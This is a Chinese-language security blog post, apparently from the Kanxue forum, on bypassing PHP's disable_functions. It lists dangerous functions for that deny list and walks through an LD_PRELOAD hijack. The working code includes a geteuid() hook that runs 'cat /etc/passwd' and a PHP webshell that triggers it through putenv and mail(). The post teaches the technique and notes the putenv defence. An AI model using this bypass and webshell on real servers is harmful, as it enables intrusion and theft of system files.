查看原文
其他

浅谈Bypass disable_function

H4ck3R_XiX 看雪学院 2021-03-08


本文为看雪论坛优秀文章

看雪论坛作者ID:H4ck3R_XiX



0x01 disable_functions



disable_functions是在/etc/php/7.0/apache2/php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。我们查看phpinfo的时候,会发现有这么一栏:


要更改的话打开php.ini,找到对应的行修改即可,这里修改如下:


修改文件php.ini,重启apache服务,在phpinfo中可以看到已经生效。


先来看看哪些函数需要放入 disable_functions:

passthru()
功能描述:允许执行一个外部程序并回显输出,类似于 exec()。
危险等级:

######exec() 
功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。
危险等级:

######system()
功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。    
危险等级:

######chroot()   
功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式PHP 时才能工作,且该函数不适用于 Windows 系统。    
危险等级:

######chgrp()
功能描述:改变文件或目录所属的用户组。
危险等级:

######chown()
功能描述:改变文件或目录的所有者。
危险等级:

######shell_exec()

功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。    

危险等级:


######proc_open()
功能描述:执行一个命令并打开文件指针用于读取以及写入。
危险等级:

proc_get_status()
功能描述:获取使用 proc_open() 所打开进程的信息。
危险等级:

ini_alter()
功能描述:是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。具体参见 ini_set()。
危险等级:

ini_set()    
功能描述:可用于修改、设置 PHP 环境配置参数。
危险等级:

ini_restore()
功能描述:可用于恢复 PHP 环境配置参数到其初始值。
危险等级:

dl()
功能描述:在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。
危险等级:

pfsockopen()
功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。
危险等级:

symlink()
功能描述:在 UNIX 系统中建立一个符号链接。    
危险等级:

popen()
功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。
危险等级:

putenv()
功能描述:用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。
危险等级:

phpinfo()
功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。
危险等级:

scandir()
功能描述:列出指定路径中的文件和目录。
危险等级:

syslog()
功能描述:可调用 UNIX 系统的系统层 syslog() 函数。
危险等级:

readlink()
功能描述:返回符号连接指向的目标文件内容。
危险等级:

stream_socket_server()

功能描述:建立一个 Internet 或 UNIX 服务器连接。

危险等级:


error_log()
功能描述:将错误信息发送到指定位置(文件)。    
安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,执行任意命令。   
危险等级:



0x02 利用LD_PRELOAD绕过


>>>>


一、LD_PRELOAD


LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。

如果程序在运行过程中调用了某个标准的动态链接库的函数,那么我们就有机会通过 LD_PRELOAD 来设置它来优先加载我们自己编写的程序,实现劫持。

通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。简单地说,可注入自己的代码,覆盖原有代码。

一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

>>>>


二、程序调用流程图


1. LD_PRELOAD替换前:


2. LD_PRELOAD替换后:


>>>> 三、演示程序代码


1. 主程序:

// myverifypasswd.c
    #include <stdio.h>
    #include <string.h>
    #include "mystrcmp.h"
  
    void main(int argc,char **argv) {
        char passwd[] = "password";
        if (argc < 2) {
            printf("usage: %s <password>\n",argv[0]);
            return;
        }
        if (!mystrcmp(passwd,argv[1])) {
            printf("Correct Password!\n");
            return;
        }
        printf("Invalid Password!\n");
    }


2. 调用库:

#include <stdio.h>
int mystrcmp(const char *s1,const char *s2);


3. 生成动态链接库原始C文件:

// mystrcmp.c
    #include <stdio.h>
    #include <string.h>
    #include "mystrcmp.h"
 
    int mystrcmp(const char *s1,const char *s2)
    
{
        return strcmp(s1,s2);
    }


>>>>四、程序编译与试验


演示流程图:



编译、设置:

gcc mystrcmp.c -fPIC -shared -o libmystrcmp.so
gcc myverifypasswd.c -L. -lmystrcmp -o myverifypasswd
export LD_LIBRARY_PATH=/home/n6/桌面/LD_PRELOAD #指定动态链接库所在目录位置
ldd myverifypasswd #显示、确认依赖关系
./myverifypasswd


>>>>五、替换库代码


// myhack.c
    #include <stdio.h>
    #include <string.h>
  
    int mystrcmp(const char *s1, const char *s2)
    
{
        printf("hack function invoked. s1=<%s> s2=<%s>\n", s1, s2);
        // always return 0, which means s1 equals to s2--总是相等
        return 0;
    }


>>>>
六、替换并测试运行


替换流程图:


>>>>七、实际应用测试

以 sendmail 为例:(没有 sendmail 的话需要安装)使用 readelf -Ws /usr/sbin/sendmail 来看 sendmail 函数都调用了哪些库函数:


从中选取一个合适的库函数进行测试:  

编制我们自己的动态链接程序
通过 putenv 来设置 LD_PRELOAD,让我们的程序优先被调用
在 webshell 上用 mail 函数发送一封邮件来触发


我们来测试 执行系统命令,选取 geteuid()函数来改造:

//hack.c
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    void payload() {
            system("cat /etc/passwd > list.txt");
    }
    int  geteuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
    }


当这个共享库中的 geteuid 被调用时,尝试加载 payload() 函数,执行命令。

在攻击机上(注意编译平台应和靶机平台相近,至少不能一个是 32 位一个是 64 位)把它编译为一个位置信息无关的动态共享库,然后把hack.so上传到服务器,再写入webshell:

//webshell.php
    <?php
    putenv("LD_PRELOAD=/var/www/html/hack.so");
    mail("H4ck3R.XiX","","","","");
    $file_path = "list.txt";
    if(file_exists($file_path)){
        $file_arr = file($file_path);
        for($i=0;$i<count($file_arr);$i++){
            //逐行读取文件内容
            echo $file_arr[$i]."<br />";
            fclose($file_arr);
        }
    }
    ?>


结果图:


这种绕过行为实施起来很简单,并且不受PHP与Linux版本的限制,但是也很容易防御,只要禁用相关的函数(putenv)或者限制对环境变量的传递就可以了,但是要注意对现有业务是否造成影响。

其实对于这个问题,早在08年就有人向PHP官方反馈过,只不过PHP给出的回复是你最好禁用putenv函数: 
https://bugs.php.net/bug.php?id=46741 
所以我们有理由相信在后续的PHP版本中也不会对这个问题有什么针对性的解决方案。


ps: 在下技术有限,对于实际rz中,每次都要在C文件中写入要执行的系统命令,再编译上传属实麻烦,等小弟学好python回来写脚本给各位看官分享。

欢迎大佬们点评分享更好的思路,Bypass我会继续研究下去的。





- End -







看雪ID:H4ck3R_XiX

https://bbs.pediy.com/user-835631.htm 


*本文由看雪论坛  H4ck3R_XiX  原创,转载请注明来自看雪社区







推荐文章++++

内存dump 获得基于Unity3d的游戏相关代码

ollvm源码分析 - Pass之SplitBaiscBlocks

Linux内核驱动调试遇到的一些坑以及解决方法(新手必看指南)

记一起 kthroltlds 挖矿蠕虫变种分析

Metasploit后门以及跨平台后门生成




进阶安全圈,不得不读的一本书










“阅读原文”一起来充电吧!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存